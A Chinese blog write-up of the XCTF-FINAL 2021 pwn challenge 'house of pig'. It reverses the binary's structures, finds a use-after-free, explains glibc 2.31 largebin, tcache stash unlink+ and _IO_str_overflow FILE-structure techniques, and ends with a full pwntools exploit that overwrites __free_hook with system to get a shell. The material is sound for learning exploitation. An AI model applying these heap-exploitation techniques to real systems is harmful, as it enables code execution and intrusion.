XCTF-FINAL 2021-house of pig-WP

Posted on Jun 1, 2021

感觉自己还是太菜了,在比赛期间甚至都没有逆清楚这道题,即使学长给了分析好的 idb 文件也看不懂。当然当时身体不是很好也有一部分原因,但是还是觉得很遗憾。比赛结束后复现了一下,也算是学习一下新的利用方法。

参考自house of pig一个新的堆利用详解

跳表修复

拿到题目,直接 F5 的话可能会出现 __asm{ jmp rax } 这样的指令

这是 switch 的跳表结构未被 IDA 识别造成的,导致了大量代码丢失,解决方案可以参考我的这篇文章,对于此程序应该使用的参数为

然后就可以识别出 switch 了。

流程分析

首先,经过大胆猜测可以分析出每只猪的结构体结构

struct PIG
{
  char *des_ptr[24];
  int des_size[24];
  char des_exist_sign[24];
  char freed_sign[24];
};

和 qword_9070 指向的结构体结构

struct ALL_PIGS
{
  char *peppa_des_ptr[24];
  int peppa_des_size[24];
  char peppa_des_exist_sign[24];
  char peppa_freed_sign[24];
  int peppa_last_size;
  int align1;
  char *mummy_des_ptr[24];
  int mummy_des_size[24];
  char mummy_des_exist_sign[24];
  char mummy_freed_sign[24];
  int mummy_last_size;
  int align2;
  char *daddy_des_ptr[24];
  int daddy_des_size[24];
  char daddy_des_exist_sign[24];
  char daddy_freed_sign[24];
  int daddy_last_size;
  int view_times_left;
  int edit_times_left;
};

把这两个结构体补全后,程序的流程就会容易分析许多,总体的漏洞是在改变猪猪的时候,备份和更新结构体时未对 des_exist_sign[24] 数组更新

可见两个函数中都没有对 des_exist_sign[24] 的操作。而在 edit 和 view 函数中,都是通过这个 sign 判断一个 message 是否存在的,所以通过更改角色可以实现 UAF。

更改角色要通过一个 check_password 的操作,这里对密码的操作我是真的完全不懂,所以直接抄了学长的爆破结果(的确还是有必要了解一点逆行中常见的加密操作的,之后找个时间补一下)。

def change_rol(role):
    sh.sendlineafter("Choice: ",'5')
    if (role == 1):
        sh.sendlineafter("user:\n","A\x01\x95\xc9\x1c")
    if (role == 2):
        sh.sendlineafter("user:\n","B\x01\x87\xc3\x19")
    if (role == 3):
        sh.sendlineafter("user:\n","C\x01\xf7\x3c\x32")

总结一下,程序主要的漏洞点是有 UAF,可以 show,可以 edit,分别有 2 和 8 次机会。最大可以申请 0x440 大小的空间,即可以使 chunk 进入 unsorted bin 和 large bin。整个程序中不存在 malloc 函数,全部是 calloc,由此函数的不从 tcache 中取出 chunk 的性质,且不可以申请 fastbin 范围中的 chunk,导致利用比较困难。

利用方法

首先 libc 版本为 2.31。

两次 show 的机会可以把堆和 libc 的基地址都 leak 出来,这个比较简单,不多说了。

然后就比较困难了,因为无法直接通过 tcache 或 fastbin 攻击。官方给出的解法为被称为 house of pig 的利用方法,引用原文

该攻击方式适用于 libc 2.31及以后的新版本 libc,本质上是通过 libc2.31 下的 largebin attack以及 FILE 结构利用,来配合 libc2.31 下的 tcache stashing unlink attack 进行组合利用的方法。主要适用于程序中仅有 calloc 函数来申请 chunk,而没有调用 malloc 函数的情况。

利用条件为

  • 存在 UAF
  • 能执行abort流程或程序显式调用 exit 或程序能通过主函数返回。

主要利用的函数为 _IO_str_overflow。

利用流程为

  1. 进行一个 Tcache Stash Unlink+ 攻击,把地址 __free_hook - 0x10 写入 tcache_pthread_struct。由于该攻击要求 __free_hook - 0x8 处存储一个指向可写内存的指针,所以在此之前需要进行一次 large bin attack。
  2. 再进行一个 large bin attack,修改 _IO_list_all 为一个堆地址,然后在该处伪造 _IO_FILE 结构体。

large bin attack

我其实没怎么用过这种攻击方法,这里记录一下攻击的原理。

主要利用的是 chunk 进入 bin 中的操作,在 malloc 的时候,遍历 unsorted bin 时,对每一个 chunk,若无法 exact-fit 分配或不满足切割分配的条件,就会将该 chunk 置入相应的 bin 中,而此过程中缺乏对 largebin 的跳表指针的检测。

以 2.33 版本的 libc 为例,从 4052 开始就是对 largebin chunk 的入 bin 操作

else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
		      < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
			  assert (chunk_main_arena (fwd));
                        }

                      if ((unsigned long) size
			  == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                      if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                    }
                }

在 2.29 及以下的版本中,根据 unsorted chunk 的大小不同

fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;

在 unsorted chunk 小于链表中最小的 chunk 的时候会执行前一句,反之执行后一句。

由于两者大小相同的时候只会使用如下的方法插入,所以此时无法利用。

if ((unsigned long) size
			  == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;

所以有两种利用方法。

在 2.30 版本新加入了对 largebin 跳表的完整性检查,使 unsorted chunk 大于链表中最小的 chunk 时的利用失效,必须使 unsorted chunk 小于链表中最小的 chunk,通过

victim->bk_nextsize->fd_nextsize = victim;

实现利用,也就是将本 chunk 的地址写到 bk_nextsize + 0x20 处。

通过 large bin attack 可以辅助 Tcache Stash Unlink+ 攻击,并可以修改 _IO_list_all 便于伪造结构体。

_IO_str_overflow 利用

这是我第一次碰到对这个函数的利用,由于在 libc 2.24 之后增加了对 vtable 位置合法性的检查,所以劫持 _IO_jump_t 的方法失效,但是跳表 _IO_str_jumps 是在 check 范围内的,也就是我们可以将 _IO_jump_t 劫持为 _IO_str_jumps,这样是可以通过合法性检查的,然后本该调用 _IO_overflow 的时候就会变成调用 _IO_str_overflow,此函数的实现如下

int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
        return EOF;
      else
        {
          char *new_buf;
          char *old_buf = fp->_IO_buf_base;
          size_t old_blen = _IO_blen (fp);
          size_t new_size = 2 * old_blen + 100;
          if (new_size < old_blen)
            return EOF;
          new_buf = malloc (new_size);
          if (new_buf == NULL)
            {
              /*          __ferror(fp) = 1; */
              return EOF;
            }
          if (old_buf)
            {
              memcpy (new_buf, old_buf, old_blen);
              free (old_buf);
              /* Make sure _IO_setb won't try to delete _IO_buf_base. */
              fp->_IO_buf_base = NULL;
            }
          memset (new_buf + old_blen, '\0', new_size - old_blen);
          _IO_setb (fp, new_buf, new_buf + new_size, 1);
          fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
          fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
          fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
          fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
          fp->_IO_write_base = new_buf;
          fp->_IO_write_end = fp->_IO_buf_end;
        }
    }
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
libc_hidden_def (_IO_str_overflow)

注意到满足

pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))

的时候,会先后执行

size_t old_blen = _IO_blen (fp);
// #define _IO_blen (fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
new_buf = malloc (new_size);
memcpy (new_buf, old_buf, old_blen);
free (old_buf);

三个操作,伪造 _IO_FILE 并劫持 vtable 为 _IO_str_jumps 通过一个 large bin attack 就可以轻松实现,并且我们上面三个语句中的 new_size,old_buf 和 old_blen 是我们可控的,这个函数就可以实现以下三步

  1. 调用 malloc,实现从 tcache 中分配 chunk,在这里就可以把我们之前放入的 __free_hook fake chunk 申请出来
  2. 将一段可控长度可控内容的内存段拷贝置 malloc 得来的 chunk 中(可以修改 __free_hook 为 system)
  3. 调用 free,且参数为内存段起始地址("/bin/sh\x00",getshell)

也就是只要我们构造得当,执行该函数即可 getshell。

exp

exp 可能写的比较烂,改来改去也是十分痛苦。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]

def add_message(size,payload):
    sh.sendlineafter("Choice: ",'1')
    sh.sendlineafter("size: ",str(size))
    sh.sendafter("message: ",payload)

def view_message(idx):
    sh.sendlineafter("Choice: ",'2')
    sh.sendlineafter("index: ",str(idx))

def edit_message(idx,payload):
    sh.sendlineafter("Choice: ",'3')
    sh.sendlineafter("index: ",str(idx))
    sh.sendafter("message: ",payload)

def delete_message(idx):
    sh.sendlineafter("Choice: ",'4')
    sh.sendlineafter("index: ",str(idx))

def change_rol(role):
    sh.sendlineafter("Choice: ",'5')
    if (role == 1):
        sh.sendlineafter("user:\n","A\x01\x95\xc9\x1c")
    if (role == 2):
        sh.sendlineafter("user:\n","B\x01\x87\xc3\x19")
    if (role == 3):
        sh.sendlineafter("user:\n","C\x01\xf7\x3c\x32")

sh = process("./pig")
libc = ELF("./libc-2.31.so")

change_rol(2)
for i in range(5):
    add_message(0x90,'tcache size\n' * (0x90 // 48))
    delete_message(i)
change_rol(1)
for i in range(7):
    add_message(0x150,'tcache size\n' * (0x150 // 48))
    delete_message(i)
add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 7*
add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 8
delete_message(7)
change_rol(2)
add_message(0xB0,'split7\n' * (0xB0 // 48)) # 5
change_rol(1)
add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 9*
add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 10
delete_message(9)
change_rol(2)
add_message(0xB0,'split9\n' * (0xB0 // 48)) # 6
# prepare done
change_rol(1)
add_message(0x410,'leak_libc\n' * (0x410 // 48)) # 11
add_message(0x410,'largebin\n' * (0x410 // 48)) # 12
add_message(0x410,'\n' * (0x410 // 48)) # 13
delete_message(12)

change_rol(2)
change_rol(1)
view_message(12)
sh.recvuntil("is: ")
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 96
view_message(5)
sh.recvuntil("is: ")
heap_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x12750
log.success("libc_base: " + hex(libc_base))
log.success("heap_base: " + hex(heap_base))
__free_hook_addr = libc_base + libc.sym["__free_hook"]
_IO_list_all_addr = libc_base + libc.sym["_IO_list_all"]
#_IO_str_jump_addr = libc_base + libc.sym["_IO_str_jump"]
_IO_str_jump_addr = libc_base + 0x1ED560
system_addr = libc_base + libc.sym["system"]
############################### leak done ###############################
add_message(0x410,'get back\n' * (0x410 // 48)) # 14
change_rol(2)
add_message(0x420,'largebin\n' * (0x420 // 48)) # 7
add_message(0x430,'largebin\n' * (0x430 // 48)) # 8
delete_message(7)
add_message(0x430,'push\n' * (0x430 // 48)) # 9
change_rol(1)
change_rol(2)
edit_message(7,(p64(0) + p64(__free_hook_addr - 0x28)) * (0x420//48))

change_rol(1)
delete_message(14)
add_message(0x430,'push\n' * (0x430 // 48)) # 15
# largebin attack done

change_rol(3)
add_message(0x410,'get_back\n' * (0x430 // 48)) # 0

change_rol(1)
edit_message(9,(p64(heap_base + 0x12C20) + \
                p64(__free_hook_addr - 0x20)) * (0x150 // 48))
change_rol(3) 
add_message(0x90,'do stash\n' * (0x90 // 48)) # 1
# stash unlink done
change_rol(2)
edit_message(7,(p64(0) + p64(_IO_list_all_addr - 0x20)) * (0x420//48))
change_rol(3)
delete_message(0)
add_message(0x430,'push\n' * (0x430 // 48)) # 2
# second largebin atk
change_rol(3)
add_message(0x330,'pass\n' * (0x430 // 48)) # 3
add_message(0x430,'pass\n' * (0x430 // 48)) # 4

fake_IO_FILE = ''
fake_IO_FILE += 2 * p64(0)
fake_IO_FILE += p64(1) # _IO_write_base
fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) # _IO_write_ptr
fake_IO_FILE += p64(0) # _IO_write_end
fake_IO_FILE += p64(heap_base + 0x13E20) # old_buf, _IO_buf_base
fake_IO_FILE += p64(heap_base + 0x13E20 + 0x18) # calc the memcpy length, _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xC0 - 0x10,'\x00')
fake_IO_FILE += p32(0) # mode <= 0
fake_IO_FILE += p32(0) + p64(0) * 2 # bypass _unused2
fake_IO_FILE += p64(_IO_str_jump_addr)
payload = fake_IO_FILE + '/bin/sh\x00' + 2 * p64(system_addr)
sh.sendlineafter("01dwang's Gift:\n",payload)
#add_message(0x410,'large_bin\n' * (0x410 // 48)) # 1
sh.sendlineafter("Choice: ",'5')
sh.sendlineafter("user:\n",'')

sh.interactive()

关于非预期

这道题大概是想减少非预期解,把输入方式变成了都只能分段输入,但是这样会导致最后的 fake_IO_FILE 结构难以布置,所以最后又给了一个连续输入的机会,就导致还是有很多非预期。总体来说对 _IO_str_overflow 的利用很新颖也很有意思,但是堆布局上着实是有些麻烦。